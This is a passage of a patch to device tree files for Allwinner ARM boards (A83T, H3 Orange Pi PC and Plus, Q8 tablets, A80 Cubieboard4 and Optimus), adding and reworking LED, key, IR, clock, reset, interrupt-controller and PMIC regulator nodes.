+-			interrupts = <GIC_PPI 9 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_HIGH)>;
+-		};
+-
+ 		pio: pinctrl at 01c20800 {
+ 			compatible = "allwinner,sun8i-a83t-pinctrl";
+ 			interrupts = <GIC_SPI 15 IRQ_TYPE_LEVEL_HIGH>,
+-			<GIC_SPI 17 IRQ_TYPE_LEVEL_HIGH>,
+-			<GIC_SPI 19 IRQ_TYPE_LEVEL_HIGH>;
++				     <GIC_SPI 17 IRQ_TYPE_LEVEL_HIGH>,
++				     <GIC_SPI 100 IRQ_TYPE_LEVEL_HIGH>;
+ 			reg = <0x01c20800 0x400>;
+ 			clocks = <&osc24M>;
+ 			gpio-controller;
+@@ -172,27 +166,6 @@
+ 			#interrupt-cells = <3>;
+ 			#gpio-cells = <3>;
+ 
+-			i2c0_pins_a: i2c0 at 0 {
+-				allwinner,pins = "PH0", "PH1";
+-				allwinner,function = "i2c0";
+-				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+-				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+-			};
+-
+-			i2c1_pins_a: i2c1 at 0 {
+-				allwinner,pins = "PH2", "PH3";
+-				allwinner,function = "i2c1";
+-				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+-				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+-			};
+-
+-			i2c2_pins_a: i2c2 at 0 {
+-				allwinner,pins = "PH4", "PH5";
+-				allwinner,function = "i2c2";
+-				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+-				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+-			};
+-
+ 			mmc0_pins_a: mmc0 at 0 {
+ 				allwinner,pins = "PF0", "PF1", "PF2",
+ 						 "PF3", "PF4", "PF5";
+@@ -201,24 +174,6 @@
+ 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 			};
+ 
+-			mmc1_pins_a: mmc1 at 0 {
+-				allwinner,pins = "PG0", "PG1", "PG2",
+-						 "PG3", "PG4", "PG5";
+-				allwinner,function = "mmc1";
+-				allwinner,drive = <SUN4I_PINCTRL_30_MA>;
+-				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+-			};
+-
+-			mmc2_8bit_pins: mmc2_8bit {
+-				allwinner,pins = "PC5", "PC6", "PC8",
+-						 "PC9", "PC10", "PC11",
+-						 "PC12", "PC13", "PC14",
+-						 "PC15";
+-				allwinner,function = "mmc2";
+-				allwinner,drive = <SUN4I_PINCTRL_30_MA>;
+-				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+-			};
+-
+ 			uart0_pins_a: uart0 at 0 {
+ 				allwinner,pins = "PF2", "PF4";
+ 				allwinner,function = "uart0";
+@@ -234,6 +189,21 @@
+ 			};
+ 		};
+ 
++		timer at 01c20c00 {
++			compatible = "allwinner,sun4i-a10-timer";
++			reg = <0x01c20c00 0xa0>;
++			interrupts = <GIC_SPI 18 IRQ_TYPE_LEVEL_HIGH>,
++				     <GIC_SPI 19 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&osc24M>;
++		};
++
++		watchdog at 01c20ca0 {
++			compatible = "allwinner,sun6i-a31-wdt";
++			reg = <0x01c20ca0 0x20>;
++			interrupts = <GIC_SPI 25 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&osc24M>;
++		};
++
+ 		uart0: serial at 01c28000 {
+ 			compatible = "snps,dw-apb-uart";
+ 			reg = <0x01c28000 0x400>;
+@@ -243,5 +213,16 @@
+ 			clocks = <&osc24M>;
+ 			status = "disabled";
+ 		};
++
++		gic: interrupt-controller at 01c81000 {
++			compatible = "arm,cortex-a7-gic", "arm,cortex-a15-gic";
++			reg = <0x01c81000 0x1000>,
++			      <0x01c82000 0x1000>,
++			      <0x01c84000 0x2000>,
++			      <0x01c86000 0x2000>;
++			interrupt-controller;
++			#interrupt-cells = <3>;
++			interrupts = <GIC_PPI 9 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_HIGH)>;
++		};
+ 	};
+ };
+--- a/arch/arm/dts/sun8i-h3-orangepi-pc.dts
++++ b/arch/arm/dts/sun8i-h3-orangepi-pc.dts
+@@ -45,6 +45,7 @@
+ #include "sunxi-common-regulators.dtsi"
+ 
+ #include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/input/input.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
+ 
+ / {
+@@ -58,6 +59,43 @@
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
++
++	leds {
++		compatible = "gpio-leds";
++		pinctrl-names = "default";
++		pinctrl-0 = <&leds_opc>;
++
++		status_led {
++			label = "status:red:user";
++			gpios = <&pio 0 15 GPIO_ACTIVE_HIGH>;
++		};
++	};
++
++	r_leds {
++		compatible = "gpio-leds";
++		pinctrl-names = "default";
++		pinctrl-0 = <&leds_r_opc>;
++
++		tx {
++			label = "pwr:green:user";
++			gpios = <&r_pio 0 10 GPIO_ACTIVE_HIGH>;
++			default-state = "on";
++		};
++	};
++
++	r_gpio_keys {
++		compatible = "gpio-keys";
++		input-name = "sw4";
++
++		pinctrl-names = "default";
++		pinctrl-0 = <&sw_r_opc>;
++
++		sw4 at 0 {
++			label = "sw4";
++			linux,code = <BTN_0>;
++			gpios = <&r_pio 0 3 GPIO_ACTIVE_LOW>;
++		};
++	};
+ };
+ 
+ &ehci1 {
+@@ -72,6 +110,12 @@
+ 	status = "okay";
+ };
+ 
++&ir {
++	pinctrl-names = "default";
++	pinctrl-0 = <&ir_pins_a>;
++	status = "okay";
++};
++
+ &mmc0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin>;
+@@ -94,6 +138,31 @@
+ 	status = "okay";
+ };
+ 
++&pio {
++	leds_opc: led_pins at 0 {
++		allwinner,pins = "PA15";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++};
++
++&r_pio {
++	leds_r_opc: led_pins at 0 {
++		allwinner,pins = "PL10";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	sw_r_opc: key_pins at 0 {
++		allwinner,pins = "PL03";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++};
++
+ &uart0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&uart0_pins_a>;
+--- a/arch/arm/dts/sun8i-h3-orangepi-plus.dts
++++ b/arch/arm/dts/sun8i-h3-orangepi-plus.dts
+@@ -45,6 +45,7 @@
+ #include "sunxi-common-regulators.dtsi"
+ 
+ #include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/input/input.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
+ 
+ / {
+@@ -70,6 +71,68 @@
+ 		enable-active-high;
+ 		gpio = <&pio 6 11 GPIO_ACTIVE_HIGH>;
+ 	};
++
++	leds {
++		compatible = "gpio-leds";
++		pinctrl-names = "default";
++		pinctrl-0 = <&leds_opc>;
++
++		status_led {
++			label = "status:red:user";
++			gpios = <&pio 0 15 GPIO_ACTIVE_HIGH>;
++		};
++	};
++
++	r_leds {
++		compatible = "gpio-leds";
++		pinctrl-names = "default";
++		pinctrl-0 = <&leds_r_opc>;
++
++		tx {
++			label = "pwr:green:user";
++			gpios = <&r_pio 0 10 GPIO_ACTIVE_HIGH>;
++			default-state = "on";
++		};
++	};
++
++	r_gpio_keys {
++		compatible = "gpio-keys";
++		input-name = "sw4";
++
++		pinctrl-names = "default";
++		pinctrl-0 = <&sw_r_opc>;
++
++		sw4 at 0 {
++			label = "sw4";
++			linux,code = <BTN_0>;
++			gpios = <&r_pio 0 3 GPIO_ACTIVE_LOW>;
++		};
++	};
++};
++
++&pio {
++	leds_opc: led_pins at 0 {
++		allwinner,pins = "PA15";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++};
++
++&r_pio {
++	leds_r_opc: led_pins at 0 {
++		allwinner,pins = "PL10";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	sw_r_opc: key_pins at 0 {
++		allwinner,pins = "PL03";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
+ };
+ 
+ &ehci1 {
+--- a/arch/arm/dts/sun8i-h3.dtsi
++++ b/arch/arm/dts/sun8i-h3.dtsi
+@@ -83,12 +83,6 @@
+ 			     <GIC_PPI 14 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
+ 			     <GIC_PPI 11 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
+ 			     <GIC_PPI 10 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>;
+-		clock-frequency = <24000000>;
+-		arm,cpu-registers-not-fw-configured;
+-	};
+-
+-	memory {
+-		reg = <0x40000000 0x80000000>;
+ 	};
+ 
+ 	clocks {
+@@ -131,15 +125,24 @@
+ 			compatible = "allwinner,sun6i-a31-pll6-clk";
+ 			reg = <0x01c20028 0x4>;
+ 			clocks = <&osc24M>;
+-			clock-output-names = "pll6", "pll6x2", "pll6d2";
++			clock-output-names = "pll6", "pll6x2";
+ 		};
+ 
+-		pll8: clk at 01c20044 {
+-			#clock-cells = <1>;
+-			compatible = "allwinner,sun6i-a31-pll6-clk";
+-			reg = <0x01c20044 0x4>;
+-			clocks = <&osc24M>;
+-			clock-output-names = "pll8", "pll8x2";
++		pll6d2: pll6d2_clk {
++			#clock-cells = <0>;
++			compatible = "fixed-factor-clock";
++			clock-div = <2>;
++			clock-mult = <1>;
++			clocks = <&pll6 0>;
++			clock-output-names = "pll6d2";
++		};
++
++		/* dummy clock until pll6 can be reused */
++		pll8: pll8_clk {
++			#clock-cells = <0>;
++			compatible = "fixed-clock";
++			clock-frequency = <1>;
++			clock-output-names = "pll8";
+ 		};
+ 
+ 		cpu: cpu_clk at 01c20050 {
+@@ -170,7 +173,7 @@
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun8i-h3-ahb2-clk";
+ 			reg = <0x01c2005c 0x4>;
+-			clocks = <&ahb1>, <&pll6 2>;
++			clocks = <&ahb1>, <&pll6d2>;
+ 			clock-output-names = "ahb2";
+ 		};
+ 
+@@ -213,34 +216,34 @@
+ 					<76>, <77>, <78>,
+ 					<96>, <97>, <98>,
+ 					<112>, <113>,
+-					<114>, <115>, <116>,
+-					<128>, <135>;
+-			clock-output-names = "ahb1_ce", "ahb1_dma", "ahb1_mmc0",
+-					"ahb1_mmc1", "ahb1_mmc2", "ahb1_nand",
+-					"ahb1_sdram", "ahb2_gmac", "ahb1_ts",
+-					"ahb1_hstimer", "ahb1_spi0",
+-					"ahb1_spi1", "ahb1_otg",
+-					"ahb1_otg_ehci0", "ahb1_ehic1",
+-					"ahb1_ehic2", "ahb1_ehic3",
+-					"ahb1_otg_ohci0", "ahb2_ohic1",
+-					"ahb2_ohic2", "ahb2_ohic3", "ahb1_ve",
+-					"ahb1_lcd0", "ahb1_lcd1", "ahb1_deint",
+-					"ahb1_csi", "ahb1_tve", "ahb1_hdmi",
+-					"ahb1_de", "ahb1_gpu", "ahb1_msgbox",
+-					"ahb1_spinlock", "apb1_codec",
+-					"apb1_spdif", "apb1_pio", "apb1_ths",
+-					"apb1_i2s0", "apb1_i2s1", "apb1_i2s2",
+-					"apb2_i2c0", "apb2_i2c1", "apb2_i2c2",
+-					"apb2_uart0", "apb2_uart1",
+-					"apb2_uart2", "apb2_uart3", "apb2_scr",
+-					"ahb1_ephy", "ahb1_dbg";
++					<114>, <115>,
++					<116>, <128>, <135>;
++			clock-output-names = "bus_ce", "bus_dma", "bus_mmc0",
++					     "bus_mmc1", "bus_mmc2", "bus_nand",
++					     "bus_sdram", "bus_gmac", "bus_ts",
++					     "bus_hstimer", "bus_spi0",
++					     "bus_spi1", "bus_otg",
++					     "bus_otg_ehci0", "bus_ehci1",
++					     "bus_ehci2", "bus_ehci3",
++					     "bus_otg_ohci0", "bus_ohci1",
++					     "bus_ohci2", "bus_ohci3", "bus_ve",
++					     "bus_lcd0", "bus_lcd1", "bus_deint",
++					     "bus_csi", "bus_tve", "bus_hdmi",
++					     "bus_de", "bus_gpu", "bus_msgbox",
++					     "bus_spinlock", "bus_codec",
++					     "bus_spdif", "bus_pio", "bus_ths",
++					     "bus_i2s0", "bus_i2s1", "bus_i2s2",
++					     "bus_i2c0", "bus_i2c1", "bus_i2c2",
++					     "bus_uart0", "bus_uart1",
++					     "bus_uart2", "bus_uart3",
++					     "bus_scr", "bus_ephy", "bus_dbg";
+ 		};
+ 
+ 		mmc0_clk: clk at 01c20088 {
+ 			#clock-cells = <1>;
+ 			compatible = "allwinner,sun4i-a10-mmc-clk";
+ 			reg = <0x01c20088 0x4>;
+-			clocks = <&osc24M>, <&pll6 0>, <&pll8 0>;
++			clocks = <&osc24M>, <&pll6 0>, <&pll8>;
+ 			clock-output-names = "mmc0",
+ 					     "mmc0_output",
+ 					     "mmc0_sample";
+@@ -250,7 +253,7 @@
+ 			#clock-cells = <1>;
+ 			compatible = "allwinner,sun4i-a10-mmc-clk";
+ 			reg = <0x01c2008c 0x4>;
+-			clocks = <&osc24M>, <&pll6 0>, <&pll8 0>;
++			clocks = <&osc24M>, <&pll6 0>, <&pll8>;
+ 			clock-output-names = "mmc1",
+ 					     "mmc1_output",
+ 					     "mmc1_sample";
+@@ -260,7 +263,7 @@
+ 			#clock-cells = <1>;
+ 			compatible = "allwinner,sun4i-a10-mmc-clk";
+ 			reg = <0x01c20090 0x4>;
+-			clocks = <&osc24M>, <&pll6 0>, <&pll8 0>;
++			clocks = <&osc24M>, <&pll6 0>, <&pll8>;
+ 			clock-output-names = "mmc2",
+ 					     "mmc2_output",
+ 					     "mmc2_sample";
+@@ -285,6 +288,33 @@
+ 			clocks = <&osc24M>, <&pll6 1>, <&pll5>;
+ 			clock-output-names = "mbus";
+ 		};
++
++		apb0: apb0_clk {
++			compatible = "fixed-factor-clock";
++			#clock-cells = <0>;
++			clock-div = <1>;
++			clock-mult = <1>;
++			clocks = <&osc24M>;
++			clock-output-names = "apb0";
++		};
++
++		apb0_gates: clk at 01f01428 {
++			compatible = "allwinner,sun8i-h3-apb0-gates-clk",
++				     "allwinner,sun4i-a10-gates-clk";
++			reg = <0x01f01428 0x4>;
++			#clock-cells = <1>;
++			clocks = <&apb0>;
++			clock-indices = <0>, <1>;
++			clock-output-names = "apb0_pio", "apb0_ir";
++		};
++
++		ir_clk: ir_clk at 01f01454 {
++			compatible = "allwinner,sun4i-a10-mod0-clk";
++			reg = <0x01f01454 0x4>;
++			#clock-cells = <0>;
++			clocks = <&osc32k>, <&osc24M>;
++			clock-output-names = "ir";
++		};
+ 	};
+ 
+ 	soc {
+@@ -298,7 +328,7 @@
+ 			reg = <0x01c02000 0x1000>;
+ 			interrupts = <GIC_SPI 50 IRQ_TYPE_LEVEL_HIGH>;
+ 			clocks = <&bus_gates 6>;
+-			resets = <&bus_rst 6>;
++			resets = <&ahb_rst 6>;
+ 			#dma-cells = <1>;
+ 		};
+ 
+@@ -313,7 +343,7 @@
+ 				      "mmc",
+ 				      "output",
+ 				      "sample";
+-			resets = <&bus_rst 8>;
++			resets = <&ahb_rst 8>;
+ 			reset-names = "ahb";
+ 			interrupts = <GIC_SPI 60 IRQ_TYPE_LEVEL_HIGH>;
+ 			status = "disabled";
+@@ -332,7 +362,7 @@
+ 				      "mmc",
+ 				      "output",
+ 				      "sample";
+-			resets = <&bus_rst 9>;
++			resets = <&ahb_rst 9>;
+ 			reset-names = "ahb";
+ 			interrupts = <GIC_SPI 61 IRQ_TYPE_LEVEL_HIGH>;
+ 			status = "disabled";
+@@ -351,7 +381,7 @@
+ 				      "mmc",
+ 				      "output",
+ 				      "sample";
+-			resets = <&bus_rst 10>;
++			resets = <&ahb_rst 10>;
+ 			reset-names = "ahb";
+ 			interrupts = <GIC_SPI 62 IRQ_TYPE_LEVEL_HIGH>;
+ 			status = "disabled";
+@@ -396,7 +426,7 @@
+ 			reg = <0x01c1b000 0x100>;
+ 			interrupts = <GIC_SPI 74 IRQ_TYPE_LEVEL_HIGH>;
+ 			clocks = <&bus_gates 25>, <&bus_gates 29>;
+-			resets = <&bus_rst 25>, <&bus_rst 29>;
++			resets = <&ahb_rst 25>, <&ahb_rst 29>;
+ 			phys = <&usbphy 1>;
+ 			phy-names = "usb";
+ 			status = "disabled";
+@@ -408,7 +438,7 @@
+ 			interrupts = <GIC_SPI 75 IRQ_TYPE_LEVEL_HIGH>;
+ 			clocks = <&bus_gates 29>, <&bus_gates 25>,
+ 				 <&usb_clk 17>;
+-			resets = <&bus_rst 29>, <&bus_rst 25>;
++			resets = <&ahb_rst 29>, <&ahb_rst 25>;
+ 			phys = <&usbphy 1>;
+ 			phy-names = "usb";
+ 			status = "disabled";
+@@ -419,7 +449,7 @@
+ 			reg = <0x01c1c000 0x100>;
+ 			interrupts = <GIC_SPI 76 IRQ_TYPE_LEVEL_HIGH>;
+ 			clocks = <&bus_gates 26>, <&bus_gates 30>;
+-			resets = <&bus_rst 26>, <&bus_rst 30>;
++			resets = <&ahb_rst 26>, <&ahb_rst 30>;
+ 			phys = <&usbphy 2>;
+ 			phy-names = "usb";
+ 			status = "disabled";
+@@ -431,7 +461,7 @@
+ 			interrupts = <GIC_SPI 77 IRQ_TYPE_LEVEL_HIGH>;
+ 			clocks = <&bus_gates 30>, <&bus_gates 26>,
+ 				 <&usb_clk 18>;
+-			resets = <&bus_rst 30>, <&bus_rst 26>;
++			resets = <&ahb_rst 30>, <&ahb_rst 26>;
+ 			phys = <&usbphy 2>;
+ 			phy-names = "usb";
+ 			status = "disabled";
+@@ -442,7 +472,7 @@
+ 			reg = <0x01c1d000 0x100>;
+ 			interrupts = <GIC_SPI 78 IRQ_TYPE_LEVEL_HIGH>;
+ 			clocks = <&bus_gates 27>, <&bus_gates 31>;
+-			resets = <&bus_rst 27>, <&bus_rst 31>;
++			resets = <&ahb_rst 27>, <&ahb_rst 31>;
+ 			phys = <&usbphy 3>;
+ 			phy-names = "usb";
+ 			status = "disabled";
+@@ -454,7 +484,7 @@
+ 			interrupts = <GIC_SPI 79 IRQ_TYPE_LEVEL_HIGH>;
+ 			clocks = <&bus_gates 31>, <&bus_gates 27>,
+ 				 <&usb_clk 19>;
+-			resets = <&bus_rst 31>, <&bus_rst 27>;
++			resets = <&ahb_rst 31>, <&ahb_rst 27>;
+ 			phys = <&usbphy 3>;
+ 			phy-names = "usb";
+ 			status = "disabled";
+@@ -469,7 +499,7 @@
+ 			gpio-controller;
+ 			#gpio-cells = <3>;
+ 			interrupt-controller;
+-			#interrupt-cells = <2>;
++			#interrupt-cells = <3>;
+ 
+ 			uart0_pins_a: uart0 at 0 {
+ 				allwinner,pins = "PA4", "PA5";
+@@ -502,10 +532,22 @@
+ 			};
+ 		};
+ 
+-		bus_rst: reset at 01c202c0 {
++		ahb_rst: reset at 01c202c0 {
+ 			#reset-cells = <1>;
+-			compatible = "allwinner,sun8i-h3-bus-reset";
+-			reg = <0x01c202c0 0x1c>;
++			compatible = "allwinner,sun6i-a31-ahb1-reset";
++			reg = <0x01c202c0 0xc>;
++		};
++
++		apb1_rst: reset at 01c202d0 {
++			#reset-cells = <1>;
++			compatible = "allwinner,sun6i-a31-clock-reset";
++			reg = <0x01c202d0 0x4>;
++		};
++
++		apb2_rst: reset at 01c202d8 {
++			#reset-cells = <1>;
++			compatible = "allwinner,sun6i-a31-clock-reset";
++			reg = <0x01c202d8 0x4>;
+ 		};
+ 
+ 		timer at 01c20c00 {
+@@ -529,7 +571,7 @@
+ 			reg-shift = <2>;
+ 			reg-io-width = <4>;
+ 			clocks = <&bus_gates 112>;
+-			resets = <&bus_rst 144>;
++			resets = <&apb2_rst 16>;
+ 			dmas = <&dma 6>, <&dma 6>;
+ 			dma-names = "rx", "tx";
+ 			status = "disabled";
+@@ -542,7 +584,7 @@
+ 			reg-shift = <2>;
+ 			reg-io-width = <4>;
+ 			clocks = <&bus_gates 113>;
+-			resets = <&bus_rst 145>;
++			resets = <&apb2_rst 17>;
+ 			dmas = <&dma 7>, <&dma 7>;
+ 			dma-names = "rx", "tx";
+ 			status = "disabled";
+@@ -555,7 +597,7 @@
+ 			reg-shift = <2>;
+ 			reg-io-width = <4>;
+ 			clocks = <&bus_gates 114>;
+-			resets = <&bus_rst 146>;
++			resets = <&apb2_rst 18>;
+ 			dmas = <&dma 8>, <&dma 8>;
+ 			dma-names = "rx", "tx";
+ 			status = "disabled";
+@@ -568,7 +610,7 @@
+ 			reg-shift = <2>;
+ 			reg-io-width = <4>;
+ 			clocks = <&bus_gates 115>;
+-			resets = <&bus_rst 147>;
++			resets = <&apb2_rst 19>;
+ 			dmas = <&dma 9>, <&dma 9>;
+ 			dma-names = "rx", "tx";
+ 			status = "disabled";
+@@ -591,5 +633,40 @@
+ 			interrupts = <GIC_SPI 40 IRQ_TYPE_LEVEL_HIGH>,
+ 				     <GIC_SPI 41 IRQ_TYPE_LEVEL_HIGH>;
+ 		};
++
++		apb0_reset: reset at 01f014b0 {
++			reg = <0x01f014b0 0x4>;
++			compatible = "allwinner,sun6i-a31-clock-reset";
++			#reset-cells = <1>;
++		};
++
++		ir: ir at 01f02000 {
++			compatible = "allwinner,sun5i-a13-ir";
++			clocks = <&apb0_gates 1>, <&ir_clk>;
++			clock-names = "apb", "ir";
++			resets = <&apb0_reset 1>;
++			interrupts = <GIC_SPI 37 IRQ_TYPE_LEVEL_HIGH>;
++			reg = <0x01f02000 0x40>;
++			status = "disabled";
++		};
++
++		r_pio: pinctrl at 01f02c00 {
++			compatible = "allwinner,sun8i-h3-r-pinctrl";
++			reg = <0x01f02c00 0x400>;
++			interrupts = <GIC_SPI 45 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&apb0_gates 0>;
++			resets = <&apb0_reset 0>;
++			gpio-controller;
++			#gpio-cells = <3>;
++			interrupt-controller;
++			#interrupt-cells = <3>;
++
++			ir_pins_a: ir at 0 {
++				allwinner,pins = "PL11";
++				allwinner,function = "s_cir_rx";
++				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++			};
++		};
+ 	};
+ };
+--- a/arch/arm/dts/sun8i-q8-common.dtsi
++++ b/arch/arm/dts/sun8i-q8-common.dtsi
+@@ -41,11 +41,23 @@
+  */
+ #include "sunxi-q8-common.dtsi"
+ 
++#include <dt-bindings/pwm/pwm.h>
++
+ / {
+ 	aliases {
+ 		serial0 = &r_uart;
+ 	};
+ 
++	backlight: backlight {
++		compatible = "pwm-backlight";
++		pinctrl-names = "default";
++		pinctrl-0 = <&bl_en_pin_q8>;
++		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
++		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
++		default-brightness-level = <8>;
++		enable-gpios = <&pio 7 6 GPIO_ACTIVE_HIGH>; /* PH6 */
++	};
++
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
+@@ -54,7 +66,7 @@
+ &mmc0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_q8>;
+-	vmmc-supply = <&reg_vcc3v0>;
++	vmmc-supply = <&reg_dcdc1>;
+ 	bus-width = <4>;
+ 	cd-gpios = <&pio 1 4 GPIO_ACTIVE_HIGH>; /* PB4 */
+ 	cd-inverted;
+@@ -77,8 +89,90 @@
+ 	};
+ };
+ 
++&r_rsb {
++	status = "okay";
++
++	axp22x: pmic at 3a3 {
++		compatible = "x-powers,axp223";
++		reg = <0x3a3>;
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++		eldoin-supply = <&reg_dcdc1>;
++	};
++};
++
++#include "axp22x.dtsi"
++
++&reg_aldo1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-io";
++};
++
++&reg_aldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <2350000>;
++	regulator-max-microvolt = <2650000>;
++	regulator-name = "vdd-dll";
++};
++
++&reg_aldo3 {
++	regulator-always-on;
++	regulator-min-microvolt = <2700000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vcc-pll-avcc";
++};
++
++&reg_dc1sw {
++	regulator-name = "vcc-lcd";
++};
++
++&reg_dc5ldo {
++	regulator-always-on;
++	regulator-min-microvolt = <900000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpus";
++};
++
++&reg_dcdc1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-3v0";
++};
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <900000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-sys";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <900000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc5 {
++	regulator-always-on;
++	regulator-min-microvolt = <1500000>;
++	regulator-max-microvolt = <1500000>;
++	regulator-name = "vcc-dram";
++};
++
++&reg_rtc_ldo {
++	regulator-name = "vcc-rtc";
++};
++
+ &r_uart {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&r_uart_pins_a>;
+ 	status = "okay";
+ };
++
++&simplefb_lcd {
++	vcc-lcd-supply = <&reg_dc1sw>;
++};
+--- a/arch/arm/dts/sun9i-a80-cubieboard4.dts
++++ b/arch/arm/dts/sun9i-a80-cubieboard4.dts
+@@ -62,9 +62,31 @@
+ 		stdout-path = "serial0:115200n8";
+ 	};
+ 
++	leds {
++		compatible = "gpio-leds";
++		pinctrl-names = "default";
++		pinctrl-0 = <&led_pins_cubieboard4>;
++
++		green {
++			label = "cubieboard4:green:usr";
++			gpios = <&pio 7 17 GPIO_ACTIVE_HIGH>; /* PH17 */
++		};
++
++		red {
++			label = "cubieboard4:red:usr";
++			gpios = <&pio 7 6 GPIO_ACTIVE_HIGH>; /* PH6 */
++		};
++	};
+ };
+ 
+ &pio {
++	led_pins_cubieboard4: led-pins at 0 {
++		allwinner,pins = "PH6", "PH17";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
+ 	mmc0_cd_pin_cubieboard4: mmc0_cd_pin at 0 {
+ 		allwinner,pins = "PH18";
+ 		allwinner,function = "gpio_in";
+@@ -89,6 +111,20 @@
+ 	vmmc-supply = <&reg_vcc3v0>;
+ 	bus-width = <8>;
+ 	non-removable;
++	cap-mmc-hw-reset;
++	status = "okay";
++};
++
++&mmc2_8bit_pins {
++	/* Increase drive strength for DDR modes */
++	allwinner,drive = <SUN4I_PINCTRL_40_MA>;
++};
++
++&r_ir {
++	status = "okay";
++};
++
++&r_rsb {
+ 	status = "okay";
+ };
+ 
+--- a/arch/arm/dts/sun9i-a80-optimus.dts
++++ b/arch/arm/dts/sun9i-a80-optimus.dts
+@@ -65,7 +65,7 @@
+ 	leds {
+ 		compatible = "gpio-leds";
+ 		pinctrl-names = "default";
+-		pinctrl-0 = <&led_pins_optimus>;
++		pinctrl-0 = <&led_pins_optimus>, <&led_r_pins_optimus>;
+ 
+ 		/* The LED names match those found on the board */
+ 
+@@ -74,7 +74,10 @@
+ 			gpios = <&pio 7 1 GPIO_ACTIVE_HIGH>;
+ 		};
+ 
+-		/* led3 is on PM15, in R_PIO */
++		led3 {
++			label = "optimus:led3:usr";
++			gpios = <&r_pio 1 15 GPIO_ACTIVE_HIGH>; /* PM15 */
++		};
+ 
+ 		led4 {
+ 			label = "optimus:led4:usr";
+@@ -106,17 +109,6 @@
+ 	status = "okay";
+ };
+ 
+-&i2c3 {
+-	pinctrl-names = "default";
+-	pinctrl-0 = <&i2c3_pins_a>;
+-	status = "okay";
+-};
+-
+-&i2c3_pins_a {
+-	/* Enable internal pull-up */
+-	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
+-};
+-
+ &ohci0 {
+ 	status = "okay";
+ };
+@@ -171,30 +163,42 @@
+ 	vmmc-supply = <&reg_vcc3v0>;
+ 	bus-width = <8>;
+ 	non-removable;
++	cap-mmc-hw-reset;
+ 	status = "okay";
+ };
+ 
++&mmc2_8bit_pins {
++	/* Increase drive strength for DDR modes */
++	allwinner,drive = <SUN4I_PINCTRL_40_MA>;
++};
++
+ &reg_usb1_vbus {
+ 	pinctrl-0 = <&usb1_vbus_pin_optimus>;
+ 	gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
+ 	status = "okay";
+ };
+ 
+-&uart0 {
+-	pinctrl-names = "default";
+-	pinctrl-0 = <&uart0_pins_a>;
++&r_ir {
+ 	status = "okay";
+ };
+ 
+-&uart4 {
+-	pinctrl-names = "default";
+-	pinctrl-0 = <&uart4_pins_a>;
++&r_pio {
